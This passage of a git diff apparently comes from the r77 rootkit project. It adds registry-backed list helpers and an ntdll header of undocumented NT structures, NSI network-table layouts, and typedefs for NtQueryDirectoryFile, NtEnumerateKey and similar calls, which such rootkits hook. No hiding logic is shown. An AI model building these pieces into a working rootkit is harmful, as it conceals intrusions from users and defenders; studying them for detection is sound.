b/r77api/clist.c new file mode 100644 index 0000000..0cf70a6 --- /dev/null +++ b/r77api/clist.c @@ -0,0 +1,186 @@ +#include "clist.h" +#include "r77runtime.h" +#include + +PINTEGER_LIST CreateIntegerList() +{ + PINTEGER_LIST list = NEW(INTEGER_LIST); + list->Count = 0; + list->Capacity = 16; + list->Values = NEW_ARRAY(ULONG, list->Capacity); + return list; +} +VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key) +{ + DWORD count; + if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + WCHAR valueName[100]; + + for (DWORD i = 0; i < count; i++) + { + DWORD valueNameLength = 100; + DWORD type; + DWORD value; + DWORD valueSize = sizeof(DWORD); + + if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)&value, &valueSize) == ERROR_SUCCESS && type == REG_DWORD && !IntegerListContains(list, value)) + { + IntegerListAdd(list, value); + } + } + } +} +VOID DeleteIntegerList(PINTEGER_LIST list) +{ + FREE(list->Values); + libc_memset(list, 0, sizeof(INTEGER_LIST)); + FREE(list); +} +VOID IntegerListAdd(PINTEGER_LIST list, ULONG value) +{ + if (list->Count == list->Capacity) + { + list->Capacity += 16; + PULONG newValues = NEW_ARRAY(ULONG, list->Capacity); + libc_memcpy(newValues, list->Values, list->Count * sizeof(ULONG)); + + PULONG oldValues = list->Values; + list->Values = newValues; + FREE(oldValues); + } + + list->Values[list->Count++] = value; +} +BOOL IntegerListContains(PINTEGER_LIST list, ULONG value) +{ + for (DWORD i = 0; i < list->Count; i++) + { + if (list->Values[i] == value) return TRUE; + } + + return FALSE; +} +BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB) +{ + if (listA == listB) + { + return TRUE; + } + else if (listA == NULL || listB == NULL) + { + return FALSE; + } + else if (listA->Count != listB->Count) + { + return FALSE; + } + else + { + for (ULONG i = 0; i < listA->Count; i++) + { + if (listA->Values[i] != listB->Values[i]) return FALSE; + } + + return TRUE; + } +} + +PSTRING_LIST CreateStringList(BOOL ignoreCase) +{ + PSTRING_LIST list = NEW(STRING_LIST); + list->Count = 0; + list->Capacity = 16; + list->IgnoreCase = ignoreCase; + list->Values = NEW_ARRAY(LPWSTR, list->Capacity); + return list; +} +VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength) +{ + DWORD count; + if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + WCHAR valueName[100]; + PWCHAR value = NEW_ARRAY(WCHAR, maxStringLength + 1); + + for (DWORD i = 0; i < count; i++) + { + DWORD valueNameLength = 100; + DWORD type; + DWORD valueSize = maxStringLength; + + if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)value, &valueSize) == ERROR_SUCCESS && type == REG_SZ && !StringListContains(list, value)) + { + StringListAdd(list, value); + } + } + + FREE(value); + } +} +VOID DeleteStringList(PSTRING_LIST list) +{ + for (ULONG i = 0; i < list->Count; i++) + { + FREE(list->Values[i]); + } + + FREE(list->Values); + libc_memset(list, 0, sizeof(STRING_LIST)); + FREE(list); +} +VOID StringListAdd(PSTRING_LIST list, LPCWSTR value) +{ + if (value) + { + if (list->Count == list->Capacity) + { + list->Capacity += 16; + LPWSTR *newValues = NEW_ARRAY(LPWSTR, list->Capacity); + libc_memcpy(newValues, list->Values, list->Count * sizeof(LPWSTR)); + + LPWSTR *oldValues = list->Values; + list->Values = newValues; + FREE(oldValues); + } + + list->Values[list->Count] = NEW_ARRAY(WCHAR, lstrlenW(value) + 1); + lstrcpyW(list->Values[list->Count++], value); + } +} +BOOL StringListContains(PSTRING_LIST list, LPCWSTR value) +{ + if (value) + { + for (DWORD i = 0; i < list->Count; i++) + { + if (list->IgnoreCase ? !StrCmpIW(list->Values[i], value) : !StrCmpW(list->Values[i], value)) return TRUE; + } + } + + return FALSE; +} +BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB) +{ + if (listA == listB) + { + return TRUE; + } + else if (listA == NULL || listB == NULL) + { + return FALSE; + } + else if (listA->Count != listB->Count) + { + return FALSE; + } + else + { + for (ULONG i = 0; i < listA->Count; i++) + { + if (listA->IgnoreCase && listB->IgnoreCase ? StrCmpIW(listA->Values[i], listB->Values[i]) : StrCmpW(listA->Values[i], listB->Values[i])) return FALSE; + } + + return TRUE; + } +} \ No newline at end of file diff --git a/r77api/clist.h b/r77api/clist.h new file mode 100644 index 0000000..93d2147 --- /dev/null +++ b/r77api/clist.h @@ -0,0 +1,141 @@ +#include "r77mindef.h" +#ifndef _CLIST_H +#define _CLIST_H + +/// +/// Defines a collection of ULONG values. +/// +typedef struct _INTEGER_LIST +{ + /// + /// The number of ULONG values in this list. + /// + DWORD Count; + /// + /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added. + /// + DWORD Capacity; + /// + /// A buffer that stores the ULONG values in this list. + /// + PULONG Values; +} INTEGER_LIST, *PINTEGER_LIST; + +/// +/// Defines a collection of strings. +/// +typedef struct _STRING_LIST +{ + /// + /// The number of strings in this list. + /// + DWORD Count; + /// + /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added. + /// + DWORD Capacity; + /// + /// TRUE to treat strings as case insensitive. + /// + BOOL IgnoreCase; + /// + /// A buffer that stores the strings in this list. + /// + LPWSTR *Values; +} STRING_LIST, *PSTRING_LIST; + +/// +/// Creates a new INTEGER_LIST. +/// +/// +/// A pointer to the newly created INTEGER_LIST structure. +/// +PINTEGER_LIST CreateIntegerList(); +/// +/// Loads DWORD values from the specified registry key into the specified INTEGER_LIST structure. +/// Values that are already in the list are not added. +/// +/// The INTEGER_LIST structure to add the values to. +/// The registry key to read DWORD values from. +VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key); +/// +/// Deletes the specified INTEGER_LIST structure. +/// +/// The INTEGER_LIST structure to delete. +VOID DeleteIntegerList(PINTEGER_LIST list); +/// +/// Adds a ULONG value to the specified INTEGER_LIST. +/// +/// The INTEGER_LIST structure to add the ULONG value to. +/// The ULONG value to add to the list. +VOID IntegerListAdd(PINTEGER_LIST list, ULONG value); +/// +/// Determines whether the ULONG value is in the specified INTEGER_LIST. +/// +/// The INTEGER_LIST structure to search. +/// The ULONG value to check. +/// +/// TRUE, if the specified ULONG value is in the specified INTEGER_LIST; +/// otherwise, FALSE. +/// +BOOL IntegerListContains(PINTEGER_LIST list, ULONG value); +/// +/// Compares two INTEGER_LIST structures for equality. +/// +/// The first INTEGER_LIST structure. +/// The second INTEGER_LIST structure. +/// +/// TRUE, if both INTEGER_LIST structures are equal; +/// otherwise, FALSE. +/// +BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB); + +/// +/// Creates a new STRING_LIST. +/// +/// TRUE to treat strings as case insensitive. +/// +/// A pointer to the newly created STRING_LIST structure. +/// +PSTRING_LIST CreateStringList(BOOL ignoreCase); +/// +/// Loads REG_SZ values from the specified registry key into the specified STRING_LIST structure. +/// Strings that are already in the list are not added. +/// +/// The STRING_LIST structure to add the strings to. +/// The registry key to read REG_SZ values from. +/// The maximum length of REG_SZ values that are read from the registry key. +VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength); +/// +/// Deletes the specified STRING_LIST structure. +/// +/// The STRING_LIST structure to delete. +VOID DeleteStringList(PSTRING_LIST list); +/// +/// Adds a string to the specified STRING_LIST. +/// +/// The STRING_LIST structure to add the string to. +/// The string to add to the list. +VOID StringListAdd(PSTRING_LIST list, LPCWSTR value); +/// +/// Determines whether the string is in the specified STRING_LIST. +/// +/// The STRING_LIST structure to search. +/// The string to check. +/// +/// TRUE, if the specified string is in the specified STRING_LIST; +/// otherwise, FALSE. +/// +BOOL StringListContains(PSTRING_LIST list, LPCWSTR value); +/// +/// Compares two STRING_LIST structures for equality. +/// +/// The first STRING_LIST structure. +/// The second STRING_LIST structure. +/// +/// TRUE, if both STRING_LIST structures are equal; +/// otherwise, FALSE. +/// +BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB); + +#endif \ No newline at end of file diff --git a/r77api/ntdll.h b/r77api/ntdll.h new file mode 100644 index 0000000..0a36926 --- /dev/null +++ b/r77api/ntdll.h @@ -0,0 +1,652 @@ +#include "r77mindef.h" +#ifndef _NTDLL_H +#define _NTDLL_H + +#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L) + +#define SL_RESTART_SCAN 0x01 +#define SL_RETURN_SINGLE_ENTRY 0x02 +#define SL_INDEX_SPECIFIED 0x04 +#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08 +#define SL_NO_CURSOR_UPDATE 0x10 + +#define DEVICE_NSI L"\\Device\\Nsi" +#define IOCTL_NSI_GETALLPARAM 0x12001b + +typedef enum _NT_SYSTEM_INFORMATION_CLASS +{ + SystemProcessorInformation = 1, + SystemPathInformation = 4, + SystemCallCountInformation = 6, + SystemDeviceInformation, + SystemFlagsInformation = 9, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemMirrorMemoryInformation, + SystemPerformanceTraceInformation, + SystemObsolete0, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation, + SystemVerifierAddDriverInformation, + SystemVerifierRemoveDriverInformation, + SystemProcessorIdleInformation, + SystemLegacyDriverInformation, + SystemCurrentTimeZoneInformation, + SystemTimeSlipNotification = 46, + SystemSessionCreate, + SystemSessionDetach, + SystemSessionInformation, + SystemRangeStartInformation, + SystemVerifierInformation, + SystemVerifierThunkExtend, + SystemSessionProcessInformation, + SystemLoadGdiDriverInSystemSpace, + SystemNumaProcessorMap, + SystemPrefetcherInformation, + SystemExtendedProcessInformation, + SystemRecommendedSharedDataAlignment, + SystemComPlusPackage, + SystemNumaAvailableMemory, + SystemProcessorPowerInformation, + SystemEmulationBasicInformation, + SystemEmulationProcessorInformation, + SystemExtendedHandleInformation, + SystemLostDelayedWriteInformation, + SystemBigPoolInformation, + SystemSessionPoolTagInformation, + SystemSessionMappedViewInformation, + SystemHotpatchInformation, + SystemObjectSecurityMode, + SystemWatchdogTimerHandler, + SystemWatchdogTimerInformation, + SystemLogicalProcessorInformation, + SystemWow64SharedInformationObsolete, + SystemRegisterFirmwareTableInformationHandler, + SystemFirmwareTableInformation, + SystemModuleInformationEx, + SystemVerifierTriageInformation, + SystemSuperfetchInformation, + SystemMemoryListInformation, + SystemFileCacheInformationEx, + SystemThreadPriorityClientIdInformation, + SystemProcessorIdleCycleTimeInformation, + SystemVerifierCancellationInformation, + SystemProcessorPowerInformationEx, + SystemRefTraceInformation, + SystemSpecialPoolInformation, + SystemProcessIdInformation, + SystemErrorPortInformation, + SystemBootEnvironmentInformation, + SystemHypervisorInformation, + SystemVerifierInformationEx, + SystemTimeZoneInformation, + SystemImageFileExecutionOptionsInformation, + SystemCoverageInformation, + SystemPrefetchPatchInformation, + SystemVerifierFaultsInformation, + SystemSystemPartitionInformation, + SystemSystemDiskInformation, + SystemProcessorPerformanceDistribution, + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString, + SystemVirtualAddressInformation, + SystemLogicalProcessorAndGroupInformation, + SystemProcessorCycleTimeInformation, + SystemStoreInformation, + SystemRegistryAppendString, + SystemAitSamplingValue, + SystemVhdBootInformation, + SystemCpuQuotaInformation, + SystemNativeBasicInformation, + SystemErrorPortTimeouts, + SystemLowPriorityIoInformation, + SystemTpmBootEntropyInformation, + SystemVerifierCountersInformation, + SystemPagedPoolInformationEx, + SystemSystemPtesInformationEx, + SystemNodeDistanceInformation, + SystemAcpiAuditInformation, + SystemBasicPerformanceInformation, + SystemQueryPerformanceCounterInformation, + SystemSessionBigPoolInformation, + SystemBootGraphicsInformation, + SystemScrubPhysicalMemoryInformation, + SystemBadPageInformation, + SystemProcessorProfileControlArea, + SystemCombinePhysicalMemoryInformation, + SystemEntropyInterruptTimingInformation, + SystemConsoleInformation, + SystemPlatformBinaryInformation, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation, + SystemDeviceDataEnumerationInformation, + SystemMemoryTopologyInformation, + SystemMemoryChannelInformation, + SystemBootLogoInformation, + SystemProcessorPerformanceInformationEx, + SystemCriticalProcessErrorLogInformation, + SystemSecureBootPolicyInformation, + SystemPageFileInformationEx, + SystemSecureBootInformation, + SystemEntropyInterruptTimingRawInformation, + SystemPortableWorkspaceEfiLauncherInformation, + SystemFullProcessInformation, + SystemKernelDebuggerInformationEx, + SystemBootMetadataInformation, + SystemSoftRebootInformation, + SystemElamCertificateInformation, + SystemOfflineDumpConfigInformation, + SystemProcessorFeaturesInformation, + SystemRegistryReconciliationInformation, + SystemEdidInformation, + SystemManufacturingInformation, + SystemEnergyEstimationConfigInformation, + SystemHypervisorDetailInformation, + SystemProcessorCycleStatsInformation, + SystemVmGenerationCountInformation, + SystemTrustedPlatformModuleInformation, + SystemKernelDebuggerFlags, + SystemCodeIntegrityPolicyInformation, + SystemIsolatedUserModeInformation, + SystemHardwareSecurityTestInterfaceResultsInformation, + SystemSingleModuleInformation, + SystemAllowedCpuSetsInformation, + SystemVsmProtectionInformation, + SystemInterruptCpuSetsInformation, + SystemSecureBootPolicyFullInformation, + SystemCodeIntegrityPolicyFullInformation, + SystemAffinitizedInterruptProcessorInformation, + SystemRootSiloInformation, + SystemCpuSetInformation, + SystemCpuSetTagInformation, + SystemWin32WerStartCallout, + SystemSecureKernelProfileInformation, + SystemCodeIntegrityPlatformManifestInformation, + SystemInterruptSteeringInformation, + SystemSupportedProcessorArchitectures, + SystemMemoryUsageInformation, + SystemCodeIntegrityCertificateInformation, + SystemPhysicalMemoryInformation, + SystemControlFlowTransition, + SystemKernelDebuggingAllowed, + SystemActivityModerationExeState, + SystemActivityModerationUserSettings, + SystemCodeIntegrityPoliciesFullInformation, + SystemCodeIntegrityUnlockInformation, + SystemIntegrityQuotaInformation, + SystemFlushInformation, + SystemProcessorIdleMaskInformation, + SystemSecureDumpEncryptionInformation, + SystemWriteConstraintInformation, + SystemKernelVaShadowInformation, + SystemHypervisorSharedPageInformation, + SystemFirmwareBootPerformanceInformation, + SystemCodeIntegrityVerificationInformation, + SystemFirmwarePartitionInformation, + SystemSpeculationControlInformation, + SystemDmaGuardPolicyInformation, + SystemEnclaveLaunchControlInformation, + SystemWorkloadAllowedCpuSetsInformation, + SystemCodeIntegrityUnlockModeInformation, + SystemLeapSecondInformation, + SystemFlags2Information, + SystemSecurityModelInformation, + SystemCodeIntegritySyntheticCacheInformation, + SystemFeatureConfigurationInformation, + SystemFeatureConfigurationSectionInformation, + SystemFeatureUsageSubscriptionInformation, + SystemSecureSpeculationControlInformation +} NT_SYSTEM_INFORMATION_CLASS; + +typedef struct _NT_SYSTEM_PROCESS_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; + ULONG HardFaultCount; + ULONG NumberOfThreadsHighWatermark; + ULONGLONG CycleTime; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + ULONG BasePriority; + HANDLE ProcessId; + HANDLE InheritedFromProcessId; +} NT_SYSTEM_PROCESS_INFORMATION, *PNT_SYSTEM_PROCESS_INFORMATION; + +typedef struct _NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION +{ + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; +} NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef enum _NT_FILE_INFORMATION_CLASS +{ + FileFullDirectoryInformation = 2, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileIsRemoteDeviceInformation, + FileUnusedInformation, + FileNumaNodeInformation, + FileStandardLinkInformation, + FileRemoteProtocolInformation, + FileRenameInformationBypassAccessCheck, + FileLinkInformationBypassAccessCheck, + FileVolumeNameInformation, + FileIdInformation, + FileIdExtdDirectoryInformation, + FileReplaceCompletionInformation, + FileHardLinkFullIdInformation, + FileIdExtdBothDirectoryInformation, + FileMaximumInformation +} NT_FILE_INFORMATION_CLASS; + +typedef struct _NT_FILE_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} NT_FILE_BOTH_DIR_INFORMATION, *PNT_FILE_BOTH_DIR_INFORMATION; + +typedef struct _NT_FILE_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} NT_FILE_DIRECTORY_INFORMATION, *PNT_FILE_DIRECTORY_INFORMATION; + +typedef struct _NT_FILE_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} NT_FILE_FULL_DIR_INFORMATION, *PNT_FILE_FULL_DIR_INFORMATION; + +typedef struct _NT_FILE_ID_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} NT_FILE_ID_BOTH_DIR_INFORMATION, *PNT_FILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _NT_FILE_ID_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} NT_FILE_ID_FULL_DIR_INFORMATION, *PNT_FILE_ID_FULL_DIR_INFORMATION; + +typedef struct _NT_FILE_NAMES_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} NT_FILE_NAMES_INFORMATION, *PNT_FILE_NAMES_INFORMATION; + +typedef enum _NT_KEY_INFORMATION_CLASS +{ + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation +} NT_KEY_INFORMATION_CLASS; + +typedef enum _NT_KEY_VALUE_INFORMATION_CLASS +{ + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation +} NT_KEY_VALUE_INFORMATION_CLASS; + +typedef struct _NT_KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_BASIC_INFORMATION, *PNT_KEY_BASIC_INFORMATION; + +typedef struct _NT_KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_NAME_INFORMATION, *PNT_KEY_NAME_INFORMATION; + +typedef struct _NT_KEY_VALUE_BASIC_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_VALUE_BASIC_INFORMATION, *PNT_KEY_VALUE_BASIC_INFORMATION; + +typedef struct _NT_KEY_VALUE_FULL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_VALUE_FULL_INFORMATION, *PNT_KEY_VALUE_FULL_INFORMATION; + +typedef enum _NT_NSI_PARAM_TYPE +{ + NsiUdp = 1, + NsiTcp = 3 +} NT_NSI_PARAM_TYPE; + +typedef struct _NT_NSI_TCP_SUBENTRY +{ + BYTE Reserved1[2]; + USHORT Port; + ULONG IpAddress; + BYTE IpAddress6[16]; + BYTE Reserved2[4]; +} NT_NSI_TCP_SUBENTRY, *PNT_NSI_TCP_SUBENTRY; + +typedef struct _NT_NSI_TCP_ENTRY +{ + NT_NSI_TCP_SUBENTRY Local; + NT_NSI_TCP_SUBENTRY Remote; +} NT_NSI_TCP_ENTRY, *PNT_NSI_TCP_ENTRY; + +typedef struct _NT_NSI_UDP_ENTRY +{ + BYTE Reserved1[2]; + USHORT Port; + ULONG IpAddress; + BYTE IpAddress6[16]; + BYTE Reserved2[4]; +} NT_NSI_UDP_ENTRY, *PNT_NSI_UDP_ENTRY; + +typedef struct _NT_NSI_STATUS_ENTRY +{ + ULONG State; + BYTE Reserved[8]; +} NT_NSI_STATUS_ENTRY, *PNT_NSI_STATUS_ENTRY; + +typedef struct _NT_NSI_PROCESS_ENTRY +{ + ULONG UdpProcessId; + ULONG Reserved1; + ULONG Reserved2; + ULONG TcpProcessId; + ULONG Reserved3; + ULONG Reserved4; + ULONG Reserved5; + ULONG Reserved6; +} NT_NSI_PROCESS_ENTRY, *PNT_NSI_PROCESS_ENTRY; + +typedef struct _NT_NSI_PARAM +{ + SIZE_T Reserved1; + SIZE_T Reserved2; + LPVOID ModuleId; + NT_NSI_PARAM_TYPE Type; + ULONG Reserved3; + ULONG Reserved4; + LPVOID Entries; + SIZE_T EntrySize; + LPVOID Reserved5; + SIZE_T Reserved6; + PNT_NSI_STATUS_ENTRY StatusEntries; + SIZE_T Reserved7; + PNT_NSI_PROCESS_ENTRY ProcessEntries; + SIZE_T ProcessEntrySize; + SIZE_T Count; +} NT_NSI_PARAM, *PNT_NSI_PARAM; + +typedef enum _NT_OBJECT_INFORMATION_CLASS +{ + ObjectNameInformation = 1, + ObjectAllInformation = 3, + ObjectDataInformation +} NT_OBJECT_INFORMATION_CLASS, *PNT_OBJECT_INFORMATION_CLASS; + +typedef struct _NT_LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID DllBase; + LPVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} NT_LDR_DATA_TABLE_ENTRY, *PNT_LDR_DATA_TABLE_ENTRY; + +typedef struct _NT_PEB_LDR_DATA +{ + DWORD Length; + DWORD Initialized; + LPVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID EntryInProgress; +} NT_PEB_LDR_DATA, *PNT_PEB_LDR_DATA; + +typedef struct _NT_PEB +{ + BYTE InheritedAddressSpace; + BYTE ReadImageFileExecOptions; + BYTE BeingDebugged; + BYTE SpareBool; + LPVOID Mutant; + LPVOID ImageBaseAddress; + PNT_PEB_LDR_DATA Ldr; + LPVOID ProcessParameters; + LPVOID SubSystemData; + LPVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + LPVOID FastPebLockRoutine; + LPVOID FastPebUnlockRoutine; + DWORD EnvironmentUpdateCount; + LPVOID KernelCallbackTable; + DWORD SystemReserved; + DWORD AtlThunkSListPtr32; + LPVOID FreeList; + DWORD TlsExpansionCounter; + LPVOID TlsBitmap; + DWORD TlsBitmapBits[2]; + LPVOID ReadOnlySharedMemoryBase; + LPVOID ReadOnlySharedMemoryHeap; + LPVOID ReadOnlyStaticServerData; + LPVOID AnsiCodePageData; + LPVOID OemCodePageData; + LPVOID UnicodeCaseTableData; + DWORD NumberOfProcessors; + DWORD NtGlobalFlag; + LARGE_INTEGER CriticalSectionTimeout; + DWORD HeapSegmentReserve; + DWORD HeapSegmentCommit; + DWORD HeapDeCommitTotalFreeThreshold; + DWORD HeapDeCommitFreeBlockThreshold; + DWORD NumberOfHeaps; + DWORD MaximumNumberOfHeaps; + LPVOID ProcessHeaps; + LPVOID GdiSharedHandleTable; + LPVOID ProcessStarterHelper; + DWORD GdiDCAttributeList; + LPVOID LoaderLock; + DWORD OSMajorVersion; + DWORD OSMinorVersion; + WORD OSBuildNumber; + WORD OSCSDVersion; + DWORD OSPlatformId; + DWORD ImageSubsystem; + DWORD ImageSubsystemMajorVersion; + DWORD ImageSubsystemMinorVersion; + DWORD ImageProcessAffinityMask; + DWORD GdiHandleBuffer[34]; + LPVOID PostProcessInitRoutine; + LPVOID TlsExpansionBitmap; + DWORD TlsExpansionBitmapBits[32]; + DWORD SessionId; + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + LPVOID ShimData; + LPVOID AppCompatInfo; + UNICODE_STRING CSDVersion; + LPVOID ActivationContextData; + LPVOID ProcessAssemblyStorageMap; + LPVOID SystemDefaultActivationContextData; + LPVOID SystemAssemblyStorageMap; + DWORD MinimumStackCommit; +} NT_PEB, *PNT_PEB; + +typedef struct _NT_IMAGE_RELOC +{ + WORD Offset : 12; + WORD Type : 4; +} NT_IMAGE_RELOC, *PNT_IMAGE_RELOC; + +typedef NTSTATUS(NTAPI *NT_NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); +typedef NTSTATUS(NTAPI *NT_NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount); +typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); +typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); +typedef NTSTATUS(NTAPI *NT_NTENUMERATEKEY)(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); +typedef NTSTATUS(NTAPI *NT_NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); +typedef BOOL(WINAPI *NT_ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); +typedef BOOL(WINAPI 